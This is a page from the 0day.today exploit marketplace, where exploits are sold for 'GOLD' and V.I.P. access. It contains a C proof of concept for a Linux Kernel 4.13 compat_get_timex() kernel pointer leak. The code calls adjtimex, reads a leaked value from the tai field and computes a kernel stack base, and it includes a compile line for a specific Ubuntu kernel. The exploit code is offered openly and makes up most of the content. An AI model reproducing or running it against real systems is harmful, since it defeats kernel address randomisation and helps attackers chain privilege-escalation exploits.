0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Linux Kernel 4.13 - compat_get_timex() Leak kernel pointer Exploit
Author
Risk
[
Security Risk Medium
]0day-ID
Category
Date add
CVE
Platform
Linux Kernel 4.13 - compat_get_timex() Leak kernel pointer Exploit #define _GNU_SOURCE #define _BSD_SOURCE #include <sys/timex.h> #include <stdio.h> #include <stdint.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/wait.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/ipc.h> #include <sys/sem.h> #include <sys/stat.h> #include <sys/mman.h> #include <sys/resource.h> #include <sys/syscall.h> #include <errno.h> #include <fcntl.h> #include <unistd.h> #include <kptr-lib.h> // Ubuntu 4.13.0-16-generic // gcc -o poc poc.c -m32 struct timex time; int main(int argc, char **argv) { int r; unsigned long long stack_offset, kernel_base; unsigned int leak_value; unsigned int high = 0xffffffff; memset(&time, 0, sizeof(time)); time.modes = 0x8000; mmap(0,0xa000,3,2022,-1,0); adjtimex(&time); leak_value = time.tai; printf("--> leak_value : %x\n", leak_value); memcpy(&kernel_base, &leak_value, 4); memcpy((char *)&kernel_base + 4, &high, 4); stack_offset = 0x1fc4a4; kernel_base = leak_value - stack_offset; printf("--> kernel_stack_base : %llx\n", kernel_base); return 0; } # 0day.today [2024-09-28] #